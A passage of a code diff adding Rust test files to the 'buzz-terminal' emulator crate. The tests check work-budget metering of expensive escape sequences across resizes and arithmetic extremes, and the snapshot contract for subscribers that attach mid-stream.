||||||
|
bound {bound}",
|
||||||
|
);
|
||||||
|
}
|
||||||
|
}
|
||||||
@@ -0,0 +1,399 @@
|
|||||||
|
//! Adversarial slicing cases for resize debt, oversized atoms, and arithmetic extremes.
|
||||||
|
//!
|
||||||
|
//! **This is half a suite.** The remaining work-bound cases live in
|
||||||
|
//! `slicing.rs`; the two files are one set of contracts split only for the
|
||||||
|
//! file-size ratchet. A mutation check scoped with `--test slicing_adversarial`
|
||||||
|
//! covers 4 of 76 package tests and can report a confident pass while the
|
||||||
|
//! killing fixture sits in the sibling file. Sizing from the whole budget does
|
||||||
|
//! exactly that, then dies under the package.
|
||||||
|
//!
|
||||||
|
//! Mutation checks run the package, never a file: `cargo test -p buzz-terminal`.
|
||||||
|
|
||||||
|
use buzz_terminal::fences::{
|
||||||
|
max_atom_work, max_drain_work, slice_bytes_remaining, Fences, WORK_BUDGET,
|
||||||
|
};
|
||||||
|
use buzz_terminal::{Size, Terminal};
|
||||||
|
|
||||||
|
/// A scrollback change reprices RIS *and* the slicing derived from it.
|
||||||
|
///
|
||||||
|
/// Kills: updating the feeder's columns and lines on resize but not its
|
||||||
|
/// scrollback -- and, separately, a repair that reprices the charge while
|
||||||
|
/// leaving slice width stale. Those are different failures and neither
|
||||||
|
/// observable sees the other: fix only the charge and the drain count stays
|
||||||
|
/// wrong; fix only the derivation and the charge stays wrong.
|
||||||
|
///
|
||||||
|
/// Two properties, because one is not enough:
|
||||||
|
///
|
||||||
|
/// * The exact RIS charge at the new depth. Direct, and it is what a
|
||||||
|
/// pricing-only repair passes.
|
||||||
|
/// * Equality with a terminal *constructed* at the new depth, across work
|
||||||
|
/// and drain count. A resized feeder that is genuinely repaired is
|
||||||
|
/// indistinguishable from one that was born there. This is stronger than a
|
||||||
|
/// hand-picked threshold and immune to `WORK_BUDGET`/`MIN_SLICE` moving,
|
||||||
|
/// since both arms move together -- and the sanity arm proves the
|
||||||
|
/// comparison is deterministic before it is used to judge anything.
|
||||||
|
///
|
||||||
|
/// `completed_units` is deliberately *not* the discriminator here: it reads
|
||||||
|
/// 200 in both arms, because the same callbacks run either way and only their
|
||||||
|
/// cost and slicing differ. It is asserted anyway as the invariant that must
|
||||||
|
/// hold -- no unit lost or duplicated across a resize -- while carrying none
|
||||||
|
/// of the discrimination.
|
||||||
|
#[test]
|
||||||
|
fn a_scrollback_change_reprices_the_densest_atom_and_the_slicing() {
|
||||||
|
let shallow = Size {
|
||||||
|
columns: 200,
|
||||||
|
screen_lines: 50,
|
||||||
|
scrollback: 100,
|
||||||
|
};
|
||||||
|
let deep = Size {
|
||||||
|
scrollback: 10_000,
|
||||||
|
..shallow
|
||||||
|
};
|
||||||
|
let cells = (deep.columns * deep.screen_lines) as u64;
|
||||||
|
|
||||||
|
// Preconditions, asserted rather than assumed, because both are easy to
|
||||||
|
// break by "generalising" this fixture later:
|
||||||
|
//
|
||||||
|
// * The geometry must let the *scheduling* fields separate. They only do
|
||||||
|
// when the two depths land on different slice widths, and the deep side
|
||||||
|
// is always floored -- so the shallow side must not be. At 1600x50 the
|
||||||
|
// visible grid alone floors every depth from 0 upward, and three of the
|
||||||
|
// four observables below go silently inert.
|
||||||
|
// * The payload must be RIS. It is the only escape reaching the only
|
||||||
|
// weight carrying a scrollback term (`units::reset_state`); DECALN and
|
||||||
|
// every other atom are priced on cells or columns and are blind to
|
||||||
|
// depth, so a conforming repair would show work identical to the
|
||||||
|
// control and the assertions here would invert into false failures.
|
||||||
|
assert!(
|
||||||
|
slice_bytes_remaining(
|
||||||
|
shallow.columns,
|
||||||
|
shallow.screen_lines,
|
||||||
|
shallow.scrollback,
|
||||||
|
0,
|
||||||
|
0
|
||||||
|
) > 1,
|
||||||
|
"geometry cannot discriminate: the shallow arm is already floored",
|
||||||
|
);
|
||||||
|
assert_eq!(
|
||||||
|
slice_bytes_remaining(deep.columns, deep.screen_lines, deep.scrollback, 0, 0),
|
||||||
|
1,
|
||||||
|
);
|
||||||
|
|
||||||
|
// How a terminal at `size` retires 200 RIS: work, and how many
|
||||||
|
// acquisitions it took. Both are feeder behaviour, not helper output.
|
||||||
|
let run = |size: Size, resize_from: Option<Size>| {
|
||||||
|
let (mut term, _a) = Terminal::new(resize_from.unwrap_or(size), Fences::ALL);
|
||||||
|
if resize_from.is_some() {
|
||||||
|
term.resize(size);
|
||||||
|
}
|
||||||
|
term.reset_stats();
|
||||||
|
let mut drains = 1;
|
||||||
|
let mut more = term.feed(&b"c".repeat(200));
|
||||||
|
while more {
|
||||||
|
more = term.drain();
|
||||||
|
drains += 1;
|
||||||
|
}
|
||||||
|
(
|
||||||
|
term.stats().completed_units,
|
||||||
|
term.stats().completed_work,
|
||||||
|
drains,
|
||||||
|
)
|
||||||
|
};
|
||||||
|
|
||||||
|
let control = run(deep, None);
|
||||||
|
let sanity = run(deep, None);
|
||||||
|
assert_eq!(
|
||||||
|
control, sanity,
|
||||||
|
"two terminals built the same way must agree before this comparison can judge anything",
|
||||||
|
);
|
||||||
|
|
||||||
|
let resized = run(deep, Some(shallow));
|
||||||
|
assert_eq!(resized.0, 200, "no unit may be lost or duplicated");
|
||||||
|
assert_eq!(
|
||||||
|
resized, control,
|
||||||
|
"a feeder resized to a depth must be indistinguishable from one constructed at it -- in charge and in how many acquisitions it took",
|
||||||
|
);
|
||||||
|
|
||||||
|
// The exact charge, stated rather than inferred from the equality: a
|
||||||
|
// repair that made both arms equally *wrong* would pass the comparison.
|
||||||
|
let (mut term, _a) = Terminal::new(shallow, Fences::ALL);
|
||||||
|
term.resize(deep);
|
||||||
|
term.reset_stats();
|
||||||
|
term.feed_fully(b"c");
|
||||||
|
assert_eq!(
|
||||||
|
term.stats().completed_work,
|
||||||
|
2 * cells + (deep.scrollback * deep.columns) as u64,
|
||||||
|
);
|
||||||
|
|
||||||
|
// Shrinking retains the debt, and the fixture proves retention rather
|
||||||
|
// than merely permitting it.
|
||||||
|
//
|
||||||
|
// `>= fresh` alone is the predicate three of us proposed and all three
|
||||||
|
// withdrew: a feeder that dropped the debt reads *exactly* equal to a
|
||||||
|
// fresh shallow one, so `>=` passes on the unrepaired state. Strictness
|
||||||
|
// on the pricing field is what rejects it. The scheduling fields are
|
||||||
|
// asserted directionally with per-field signs -- `first_units` inverts,
|
||||||
|
// because a narrower slice retires fewer atoms per un-preemptable drain,
|
||||||
|
// which is the fence working -- but none of them is the discriminator:
|
||||||
|
// they separate only when the two depths straddle the slice floor, and
|
||||||
|
// `completed_work` separates at every positive depth gap.
|
||||||
|
//
|
||||||
|
// Every comparison is against the fresh control's own field, never a
|
||||||
|
// literal: a constant or geometry change must move both sides together,
|
||||||
|
// or the fixture starts asserting the arithmetic of the day it was
|
||||||
|
// written.
|
||||||
|
let measure = |term: &mut Terminal| {
|
||||||
|
term.reset_stats();
|
||||||
|
let mut drains = 1;
|
||||||
|
let mut more = term.feed(&b"\x1bc".repeat(200));
|
||||||
|
let first_units = term.stats().completed_units;
|
||||||
|
let first_pending = term.pending_bytes();
|
||||||
|
while more {
|
||||||
|
more = term.drain();
|
||||||
|
drains += 1;
|
||||||
|
}
|
||||||
|
(
|
||||||
|
first_units,
|
||||||
|
first_pending,
|
||||||
|
drains,
|
||||||
|
term.stats().completed_units,
|
||||||
|
term.stats().completed_work,
|
||||||
|
)
|
||||||
|
};
|
||||||
|
|
||||||
|
// The terminal under test stays alive past its measurement, so the
|
||||||
|
// geometry arm below runs on the feeder that actually shrank rather than
|
||||||
|
// on a lookalike that only ever grew.
|
||||||
|
let (mut shrunk_term, _a) = Terminal::new(shallow, Fences::ALL);
|
||||||
|
shrunk_term.resize(deep);
|
||||||
|
shrunk_term.resize(shallow);
|
||||||
|
let shrunk = measure(&mut shrunk_term);
|
||||||
|
|
||||||
|
let (mut fresh_term, _a) = Terminal::new(shallow, Fences::ALL);
|
||||||
|
let fresh = measure(&mut fresh_term);
|
||||||
|
|
||||||
|
assert_eq!(
|
||||||
|
shrunk.3, fresh.3,
|
||||||
|
"no unit may be lost on the way down either"
|
||||||
|
);
|
||||||
|
assert!(
|
||||||
|
shrunk.4 > fresh.4,
|
||||||
|
"a feeder that has been deep must still price deep after shrinking: \
|
||||||
|
{} against a fresh shallow {}. Equality here is the signature of a \
|
||||||
|
feeder that dropped the debt, which is indistinguishable from one \
|
||||||
|
that never had it",
|
||||||
|
shrunk.4,
|
||||||
|
fresh.4,
|
||||||
|
);
|
||||||
|
assert!(
|
||||||
|
shrunk.0 <= fresh.0,
|
||||||
|
"narrower slices retire fewer atoms per drain: {} against {}",
|
||||||
|
shrunk.0,
|
||||||
|
fresh.0,
|
||||||
|
);
|
||||||
|
assert!(
|
||||||
|
shrunk.1 >= fresh.1,
|
||||||
|
"and leave more pending after the first call: {} against {}",
|
||||||
|
shrunk.1,
|
||||||
|
fresh.1,
|
||||||
|
);
|
||||||
|
assert!(
|
||||||
|
shrunk.2 >= fresh.2,
|
||||||
|
"and take more drains to finish: {} against {}",
|
||||||
|
shrunk.2,
|
||||||
|
fresh.2,
|
||||||
|
);
|
||||||
|
|
||||||
|
// The debt survives a later resize on a different axis. Two things make
|
||||||
|
// this arm bite, and it was inert without either:
|
||||||
|
//
|
||||||
|
// * It runs on the terminal that actually went shallow -> deep ->
|
||||||
|
// shallow. A lookalike that only ever grew passes it while an
|
||||||
|
// implementation that retains on shrink and drops on the next geometry
|
||||||
|
// change fails.
|
||||||
|
// * The resize carries the *shallow* depth. Passing the debt's own value
|
||||||
|
// back in means `max(debt, new)` and a plain assignment agree, so the
|
||||||
|
// arm cannot tell them apart -- which is how it survived a mutant that
|
||||||
|
// retained only when columns and lines were unchanged.
|
||||||
|
shrunk_term.resize(Size {
|
||||||
|
columns: shallow.columns * 2,
|
||||||
|
screen_lines: shallow.screen_lines,
|
||||||
|
scrollback: shallow.scrollback,
|
||||||
|
});
|
||||||
|
shrunk_term.reset_stats();
|
||||||
|
shrunk_term.feed_fully(b"\x1bc");
|
||||||
|
assert_eq!(
|
||||||
|
shrunk_term.stats().completed_work,
|
||||||
|
2 * (shallow.columns * 2 * shallow.screen_lines) as u64
|
||||||
|
+ (deep.scrollback * shallow.columns * 2) as u64,
|
||||||
|
"a columns resize must keep the deep scrollback debt, not fall back \
|
||||||
|
to the current shallow depth",
|
||||||
|
);
|
||||||
|
}
|
||||||
|
|
||||||
|
/// One oversized atom per drain -- no callback runs after the one that
|
||||||
|
/// crosses the budget.
|
||||||
|
///
|
||||||
|
/// Kills: sizing slices from the *whole* budget rather than what remains of
|
||||||
|
/// it. RIS at any real scrollback depth is worth more than an entire budget,
|
||||||
|
/// so a slice wide enough for several callbacks runs several: measured
|
||||||
|
/// `completed_units == 3` for `ESC c` followed by `Xmore`, where the law
|
||||||
|
/// permits exactly one. The fix makes slice width a function of `remaining`,
|
||||||
|
/// which is a single byte once an atom this size is in play.
|
||||||
|
///
|
||||||
|
/// Also asserts the tail survives it: yielding after the crossing atom is
|
||||||
|
/// only correct if what follows is still parsed, exactly once.
|
||||||
|
#[test]
|
||||||
|
fn an_oversized_atom_yields_before_the_next_callback() {
|
||||||
|
let size = Size {
|
||||||
|
columns: 400,
|
||||||
|
screen_lines: 100,
|
||||||
|
scrollback: 10_000,
|
||||||
|
};
|
||||||
|
let (mut term, _a) = Terminal::new(size, Fences::ALL);
|
||||||
|
let ris_work =
|
||||||
|
2 * (size.columns * size.screen_lines) as u64 + (size.scrollback * size.columns) as u64;
|
||||||
|
assert!(
|
||||||
|
ris_work > WORK_BUDGET,
|
||||||
|
"this arm needs an atom bigger than the whole budget",
|
||||||
|
);
|
||||||
|
|
||||||
|
let more = term.feed(b"\x1bcXmore");
|
||||||
|
|
||||||
|
assert!(more, "the drain must yield with a tail");
|
||||||
|
assert_eq!(
|
||||||
|
term.stats().completed_units,
|
||||||
|
1,
|
||||||
|
"exactly the crossing atom ran: a callback after it is post-atom \
|
||||||
|
overrun, which is the thing the budget cannot preempt and therefore \
|
||||||
|
must not start",
|
||||||
|
);
|
||||||
|
assert_eq!(term.stats().completed_work, ris_work);
|
||||||
|
|
||||||
|
while term.drain() {}
|
||||||
|
assert_eq!(
|
||||||
|
term.stats().completed_units,
|
||||||
|
1 + 5,
|
||||||
|
"the five characters after it must still be parsed, exactly once",
|
||||||
|
);
|
||||||
|
assert_eq!(term.pending_bytes(), 0);
|
||||||
|
}
|
||||||
|
|
||||||
|
/// Extreme dimensions saturate rather than wrapping or panicking.
|
||||||
|
///
|
||||||
|
/// Kills: `columns * lines` in `usize` before the cast. `Size` is unclamped
|
||||||
|
/// and reaches the weight path from a caller, so this product is a reachable
|
||||||
|
/// overflow -- a debug panic inside the accounting path, or a release wrap
|
||||||
|
/// that reports the most expensive callback in the emulator as one of the
|
||||||
|
/// cheapest. Saturating is the only one of the three that fails safe.
|
||||||
|
#[test]
|
||||||
|
fn extreme_dimensions_saturate_instead_of_wrapping() {
|
||||||
|
let huge = usize::MAX / 2;
|
||||||
|
assert_eq!(max_atom_work(huge, huge, huge), u64::MAX);
|
||||||
|
assert_eq!(max_drain_work(huge, huge, huge), u64::MAX);
|
||||||
|
|
||||||
|
// The *direction* is the assertion, not merely the absence of a panic.
|
||||||
|
// A wrapping build does not produce a slightly-wrong bound, it produces a
|
||||||
|
// tiny one -- and `slice_bytes_remaining` divides the budget by it, so an
|
||||||
|
// undercharged atom yields an *oversized* slice exactly when the atom is
|
||||||
|
// most expensive. Wrapping inverts the fence. So: the widest possible
|
||||||
|
// atom must give the narrowest possible slice.
|
||||||
|
assert_eq!(
|
||||||
|
slice_bytes_remaining(huge, huge, huge, 0, 0),
|
||||||
|
1,
|
||||||
|
"an overflowing grid must clamp to the smallest slice; a wrapped \
|
||||||
|
`max_atom_work` would hand back a generous one",
|
||||||
|
);
|
||||||
|
assert_eq!(
|
||||||
|
slice_bytes_remaining(huge, huge, huge, 0, 0),
|
||||||
|
1,
|
||||||
|
"and the escape at the front of such a grid gets a single byte",
|
||||||
|
);
|
||||||
|
|
||||||
|
// The property behind those endpoints, and the stronger statement: a
|
||||||
|
// grid that costs more may never buy a wider slice. Endpoints pin the
|
||||||
|
// ends; only a sweep catches a non-monotone middle, and a wrap *is* a
|
||||||
|
// non-monotone middle -- it makes the worst grid look cheap and hands it
|
||||||
|
// the widest slice of all.
|
||||||
|
// Every axis independently: a wrap on any one of the three products is a
|
||||||
|
// non-monotone middle on that axis alone, and sweeping only scrollback
|
||||||
|
// would miss a truncating `columns * lines`.
|
||||||
|
for (axis, at) in [
|
||||||
|
(
|
||||||
|
"scrollback",
|
||||||
|
(|n| slice_bytes_remaining(200, 50, n, 0, 0)) as fn(usize) -> usize,
|
||||||
|
),
|
||||||
|
("columns", |n| slice_bytes_remaining(n.max(1), 50, 0, 0, 0)),
|
||||||
|
("lines", |n| slice_bytes_remaining(200, n.max(1), 0, 0, 0)),
|
||||||
|
] {
|
||||||
|
let mut previous = usize::MAX;
|
||||||
|
for exponent in 0..60 {
|
||||||
|
let width = at(1usize << exponent);
|
||||||
|
assert!(
|
||||||
|
width <= previous,
|
||||||
|
"slice widened from {previous} to {width} at {axis} \
|
||||||
|
2^{exponent}: more expensive grid, more generous slice",
|
||||||
|
);
|
||||||
|
assert!(width >= 1);
|
||||||
|
previous = width;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
// Just past 32 bits on one axis: large enough that a narrowing cast
|
||||||
|
// shows (`1 << 32` truncates to 0 in `u32`, pricing an enormous grid at
|
||||||
|
// nothing), small enough that the honest answer is exact rather than
|
||||||
|
// saturated. Neither the extreme endpoints above nor the ordinary grids
|
||||||
|
// below can see this -- the endpoints saturate either way and the
|
||||||
|
// ordinary ones fit in 32 bits.
|
||||||
|
assert_eq!(max_atom_work(1 << 32, 1, 0), 2 * (1u64 << 32));
|
||||||
|
assert_eq!(max_atom_work(1, 1 << 32, 0), 2 * (1u64 << 32));
|
||||||
|
assert_eq!(max_atom_work(1, 1, 1 << 32), 2 + (1u64 << 32));
|
||||||
|
|
||||||
|
// Ordinary grids are untouched by the saturation: exact, not clamped.
|
||||||
|
assert_eq!(max_atom_work(80, 24, 0), 2 * 80 * 24);
|
||||||
|
assert_eq!(max_atom_work(80, 24, 100), 2 * 80 * 24 + 100 * 80);
|
||||||
|
}
|
||||||
|
|
||||||
|
/// An escape split across slices keeps its escape metering.
|
||||||
|
///
|
||||||
|
/// Kills: deciding "plain run or escape?" by looking only at the bytes ahead.
|
||||||
|
/// After a slice ending on a lone `ESC`, the next byte is `c` -- which looks
|
||||||
|
/// like ordinary text and is in fact a full grid reset. Meter it as text and
|
||||||
|
/// the oversized atom rides into a wide slice with whatever follows, which is
|
||||||
|
/// the post-atom overrun arriving through a different door. Found by the
|
||||||
|
/// oversized-atom fixture failing after I "optimised" the plain path, which
|
||||||
|
/// is the argument for keeping both.
|
||||||
|
#[test]
|
||||||
|
fn an_escape_split_across_slices_keeps_its_metering() {
|
||||||
|
let size = Size {
|
||||||
|
columns: 400,
|
||||||
|
screen_lines: 100,
|
||||||
|
scrollback: 10_000,
|
||||||
|
};
|
||||||
|
let ris_work =
|
||||||
|
2 * (size.columns * size.screen_lines) as u64 + (size.scrollback * size.columns) as u64;
|
||||||
|
|
||||||
|
// Deliver the escape one byte at a time, so the parser is left mid-
|
||||||
|
// sequence with a tail that begins on the continuation byte.
|
||||||
|
let (mut term, _a) = Terminal::new(size, Fences::ALL);
|
||||||
|
term.feed(b"\x1b");
|
||||||
|
assert_eq!(
|
||||||
|
term.stats().completed_units,
|
||||||
|
0,
|
||||||
|
"ESC alone dispatches nothing"
|
||||||
|
);
|
||||||
|
|
||||||
|
let more = term.feed(b"cXmore");
|
||||||
|
|
||||||
|
assert!(more, "the completed RIS must still yield with a tail");
|
||||||
|
assert_eq!(
|
||||||
|
term.stats().completed_units,
|
||||||
|
1,
|
||||||
|
"the continuation byte completed a grid reset; nothing may run after it",
|
||||||
|
);
|
||||||
|
assert_eq!(term.stats().completed_work, ris_work);
|
||||||
|
|
||||||
|
while term.drain() {}
|
||||||
|
assert_eq!(term.stats().completed_units, 1 + 5);
|
||||||
|
assert_eq!(term.pending_bytes(), 0);
|
||||||
|
}
|
||||||
287
desktop/src-tauri/crates/buzz-terminal/tests/snapshot.rs
Normal file
287
desktop/src-tauri/crates/buzz-terminal/tests/snapshot.rs
Normal file
@@ -0,0 +1,287 @@
|
|||||||
|
//! The attach contract: what a subscriber that arrives mid-stream is given,
|
||||||
|
//! and what taking it must not cost the subscriber already there.
|
||||||
|
//!
|
||||||
|
//! `render()` reports damage -- what changed since someone last looked. That
|
||||||
|
//! is the right thing for a steady-state renderer and the wrong thing for a
|
||||||
|
//! newcomer, who needs the screen as it stands. `snapshot()` supplies that,
|
||||||
|
//! and the delicate part is that it must do so *without* consuming damage:
|
||||||
|
//! two subscribers share one terminal, and damage is a single shared cursor.
|
||||||
|
|
||||||
|
use buzz_terminal::damage::Encoder;
|
||||||
|
use buzz_terminal::fences::Fences;
|
||||||
|
use buzz_terminal::{Action, SharedTerminal, Size, Terminal};
|
||||||
|
use std::sync::mpsc::Receiver;
|
||||||
|
|
||||||
|
/// The receiver is returned rather than dropped: dropping it disconnects the
|
||||||
|
/// channel and every subsequent listener send silently fails.
|
||||||
|
fn terminal(columns: usize, screen_lines: usize) -> (SharedTerminal, Receiver<Action>) {
|
||||||
|
let size = Size {
|
||||||
|
columns,
|
||||||
|
screen_lines,
|
||||||
|
scrollback: 100,
|
||||||
|
};
|
||||||
|
let (term, actions) = Terminal::new(size, Fences::ALL);
|
||||||
|
(SharedTerminal::new(term), actions)
|
||||||
|
}
|
||||||
|
|
||||||
|
/// Collect the non-blank text of a frame's rows, for comparing what a
|
||||||
|
/// subscriber can actually see.
|
||||||
|
fn visible_text(frame: &buzz_terminal::damage::Frame) -> Vec<String> {
|
||||||
|
frame
|
||||||
|
.rows
|
||||||
|
.iter()
|
||||||
|
.map(|row| {
|
||||||
|
row.spans
|
||||||
|
.iter()
|
||||||
|
.map(|span| span.text.as_str())
|
||||||
|
.collect::<String>()
|
||||||
|
.trim_end()
|
||||||
|
.to_string()
|
||||||
|
})
|
||||||
|
.filter(|line| !line.is_empty())
|
||||||
|
.collect()
|
||||||
|
}
|
||||||
|
|
||||||
|
/// The reason `snapshot` exists. A subscriber that attaches mid-stream and
|
||||||
|
/// starts from `render()` is handed only what changes next -- with a quiet
|
||||||
|
/// terminal that is the cursor's line alone, so the scrollback-visible screen
|
||||||
|
/// never arrives.
|
||||||
|
#[test]
|
||||||
|
fn a_late_render_shows_only_the_next_change_but_a_snapshot_shows_the_screen() {
|
||||||
|
let (shared, _actions) = terminal(20, 4);
|
||||||
|
shared.feed_fully(b"first\r\nsecond\r\nthird");
|
||||||
|
|
||||||
|
// The incumbent consumes the damage from that output.
|
||||||
|
let mut incumbent = Encoder::new();
|
||||||
|
let seen = visible_text(&shared.render(&mut incumbent));
|
||||||
|
assert_eq!(seen, vec!["first", "second", "third"]);
|
||||||
|
|
||||||
|
// A newcomer rendering now sees essentially nothing: damage is spent.
|
||||||
|
let mut latecomer = Encoder::new();
|
||||||
|
let by_render = visible_text(&shared.render(&mut latecomer));
|
||||||
|
assert!(
|
||||||
|
!by_render.contains(&"first".to_string()),
|
||||||
|
"a late render cannot show scrollback it never saw damaged, got {by_render:?}"
|
||||||
|
);
|
||||||
|
|
||||||
|
// The same newcomer snapshotting sees the whole viewport.
|
||||||
|
let mut attaching = Encoder::new();
|
||||||
|
let by_snapshot = shared.snapshot(&mut attaching);
|
||||||
|
assert_eq!(
|
||||||
|
visible_text(&by_snapshot),
|
||||||
|
vec!["first", "second", "third"],
|
||||||
|
"a snapshot must carry the visible viewport"
|
||||||
|
);
|
||||||
|
assert!(by_snapshot.full, "a snapshot is a repaint");
|
||||||
|
}
|
||||||
|
|
||||||
|
/// **The law: `snapshot()` must not consume damage.**
|
||||||
|
///
|
||||||
|
/// Two subscribers share one terminal and damage is one shared cursor, so a
|
||||||
|
/// snapshot taken for an attaching subscriber must leave the incumbent's
|
||||||
|
/// pending rows intact. A naive implementation that calls `damage()` passes a
|
||||||
|
/// full-frame test while freezing every other subscriber -- the newcomer looks
|
||||||
|
/// perfect and the incumbent silently stops updating.
|
||||||
|
///
|
||||||
|
/// The interleaving is the point: write, snapshot, *then* let the incumbent
|
||||||
|
/// render. But the interleaving alone is not enough to discriminate, and the
|
||||||
|
/// reason is this module's own rule 2 -- `Term::damage()` marks the cursor
|
||||||
|
/// line on every call. So an incumbent owed only the line it is sitting on
|
||||||
|
/// gets that line back even when its damage was stolen, and a naive snapshot
|
||||||
|
/// passes.
|
||||||
|
///
|
||||||
|
/// The owed row therefore has to be somewhere the cursor is *not*. Here row 0
|
||||||
|
/// is rewritten and the cursor is parked on row 3, so a theft leaves the
|
||||||
|
/// incumbent holding a blank cursor line and nothing else.
|
||||||
|
#[test]
|
||||||
|
fn a_snapshot_does_not_steal_the_incumbents_damage() {
|
||||||
|
let (shared, _actions) = terminal(20, 4);
|
||||||
|
|
||||||
|
// An established renderer, caught up to a quiet terminal. The initial
|
||||||
|
// content is shorter than its replacement so the rewrite below covers it
|
||||||
|
// completely and no tail of it survives.
|
||||||
|
let mut incumbent = Encoder::new();
|
||||||
|
shared.feed_fully(b"old");
|
||||||
|
let _ = shared.render(&mut incumbent);
|
||||||
|
|
||||||
|
// Rewrite row 0, then park the cursor on row 3. The incumbent is now owed
|
||||||
|
// row 0, which is not the row the cursor will re-damage for free.
|
||||||
|
shared.feed_fully(b"\x1b[1;1HAFTER\x1b[4;1H");
|
||||||
|
|
||||||
|
// A second subscriber attaches and snapshots first.
|
||||||
|
let mut attaching = Encoder::new();
|
||||||
|
let attached = shared.snapshot(&mut attaching);
|
||||||
|
assert_eq!(
|
||||||
|
visible_text(&attached),
|
||||||
|
vec!["AFTER"],
|
||||||
|
"the newcomer sees the whole screen"
|
||||||
|
);
|
||||||
|
|
||||||
|
// The incumbent must still be delivered row 0.
|
||||||
|
let follow_up = shared.render(&mut incumbent);
|
||||||
|
assert!(
|
||||||
|
follow_up.rows.iter().any(|row| row.line == 0),
|
||||||
|
"snapshot consumed the incumbent's damage: row 0 was never delivered, \
|
||||||
|
got rows {:?}",
|
||||||
|
follow_up.rows.iter().map(|r| r.line).collect::<Vec<_>>()
|
||||||
|
);
|
||||||
|
assert!(
|
||||||
|
visible_text(&follow_up).contains(&"AFTER".to_string()),
|
||||||
|
"the incumbent must still see the row written before the snapshot, got {:?}",
|
||||||
|
visible_text(&follow_up)
|
||||||
|
);
|
||||||
|
}
|
||||||
|
|
||||||
|
/// A snapshot stamps the geometry it was captured under and resets the
|
||||||
|
/// consumer's dedup state, so an encoder reused across a resize cannot carry
|
||||||
|
/// hashes describing rows of a different width.
|
||||||
|
#[test]
|
||||||
|
fn a_snapshot_realigns_a_reused_encoders_dedup_state() {
|
||||||
|
let (shared, _actions) = terminal(20, 4);
|
||||||
|
shared.feed_fully(b"wide enough line");
|
||||||
|
|
||||||
|
let mut encoder = Encoder::new();
|
||||||
|
let before = shared.snapshot(&mut encoder);
|
||||||
|
assert_eq!(before.viewport.columns, 20);
|
||||||
|
let first_generation = before.viewport.generation;
|
||||||
|
|
||||||
|
let resized = shared.resize(Size {
|
||||||
|
columns: 10,
|
||||||
|
screen_lines: 4,
|
||||||
|
scrollback: 100,
|
||||||
|
});
|
||||||
|
assert_eq!(resized.columns, 10);
|
||||||
|
assert!(
|
||||||
|
resized.generation > first_generation,
|
||||||
|
"an applied resize advances the generation"
|
||||||
|
);
|
||||||
|
|
||||||
|
// Same encoder, new geometry: every row must be re-sent, not suppressed
|
||||||
|
// as unchanged against hashes taken at the old width.
|
||||||
|
let after = shared.snapshot(&mut encoder);
|
||||||
|
assert_eq!(
|
||||||
|
after.viewport.columns, 10,
|
||||||
|
"the capture-time grid is stamped"
|
||||||
|
);
|
||||||
|
// Columns alone does not identify a grid. `Viewport`'s own doc says the
|
||||||
|
// three fields travel together *because* a consumer comparing two of the
|
||||||
|
// three can be wrong -- and this fixture used to compare one. A resize
|
||||||
|
// that changed only `screen_lines`, or 20 -> 10 -> 20, leaves columns
|
||||||
|
// matching while the generation has moved. `resize.rs` asserts this on
|
||||||
|
// `render()` frames five times and never once on a snapshot, which is
|
||||||
|
// what Sami's T3 mutant walked through; Mari's reattach reads this stamp.
|
||||||
|
assert_eq!(
|
||||||
|
after.viewport, resized,
|
||||||
|
"a snapshot stamps the identity of the grid it actually captured"
|
||||||
|
);
|
||||||
|
assert!(after.full, "a snapshot is a repaint");
|
||||||
|
assert!(
|
||||||
|
!after.rows.is_empty(),
|
||||||
|
"stale hashes must not suppress rows after a resize"
|
||||||
|
);
|
||||||
|
}
|
||||||
|
|
||||||
|
/// A snapshot carries *every* row of the viewport, including the last one,
|
||||||
|
/// and stamps the cursor plane truthfully.
|
||||||
|
///
|
||||||
|
/// Both properties are asserted here rather than in the fixtures above
|
||||||
|
/// because of what those fixtures' helper hides: `visible_text` trims and
|
||||||
|
/// drops empty lines, so a capture that skipped the bottom row of the screen
|
||||||
|
/// reads identically to one that didn't whenever the content sits in the top
|
||||||
|
/// rows -- which it does in every other fixture in this file. Sami's T2
|
||||||
|
/// mutant (`0..screen_lines - 1`) survived all four for exactly that reason.
|
||||||
|
/// So this fixture puts content on the last row and asserts the row *set*,
|
||||||
|
/// not the text.
|
||||||
|
///
|
||||||
|
/// The cursor half is the same shape of gap: nothing checked that a snapshot's
|
||||||
|
/// cursor was the terminal's cursor rather than a plausible default.
|
||||||
|
#[test]
|
||||||
|
fn a_snapshot_carries_every_row_and_the_true_cursor() {
|
||||||
|
let (shared, _actions) = terminal(20, 4);
|
||||||
|
// Write the bottom row of the screen, then park the cursor at line 4,
|
||||||
|
// column 6 (1-based) -- row 3, column 5 to us.
|
||||||
|
shared.feed_fully(b"\x1b[4;1Hbottom\x1b[4;6H");
|
||||||
|
|
||||||
|
let mut attaching = Encoder::new();
|
||||||
|
let frame = shared.snapshot(&mut attaching);
|
||||||
|
|
||||||
|
let lines: Vec<usize> = frame.rows.iter().map(|row| row.line).collect();
|
||||||
|
assert_eq!(
|
||||||
|
lines,
|
||||||
|
vec![0, 1, 2, 3],
|
||||||
|
"a snapshot must carry the whole viewport, last row included"
|
||||||
|
);
|
||||||
|
assert!(
|
||||||
|
visible_text(&frame).contains(&"bottom".to_string()),
|
||||||
|
"content on the last row must reach an attaching subscriber, got {:?}",
|
||||||
|
visible_text(&frame)
|
||||||
|
);
|
||||||
|
|
||||||
|
assert_eq!(frame.cursor.line, 3, "the snapshot's cursor line is real");
|
||||||
|
assert_eq!(
|
||||||
|
frame.cursor.column, 5,
|
||||||
|
"the snapshot's cursor column is real"
|
||||||
|
);
|
||||||
|
assert!(frame.cursor.visible, "the cursor is shown by default");
|
||||||
|
|
||||||
|
// ...and a hidden cursor is reported hidden, so `visible` tracks the mode
|
||||||
|
// rather than being a constant that happens to match the default.
|
||||||
|
shared.feed_fully(b"\x1b[?25l");
|
||||||
|
let mut second = Encoder::new();
|
||||||
|
assert!(
|
||||||
|
!shared.snapshot(&mut second).cursor.visible,
|
||||||
|
"DECTCEM off must reach the attaching subscriber"
|
||||||
|
);
|
||||||
|
}
|
||||||
|
|
||||||
|
/// Taking a snapshot is billed to the renderer plane.
|
||||||
|
///
|
||||||
|
/// The two planes are metered separately because pooling them lets the
|
||||||
|
/// reader's millions of fast acquires dilute the renderer's tail into a false
|
||||||
|
/// pass (`shared.rs` module docs). A full-grid copy is the single most
|
||||||
|
/// expensive thing that takes this lock, so misfiling it under the reader
|
||||||
|
/// would corrupt the very instrument the renderer's budget is judged by --
|
||||||
|
/// and no fixture noticed until Sami's T4.
|
||||||
|
#[test]
|
||||||
|
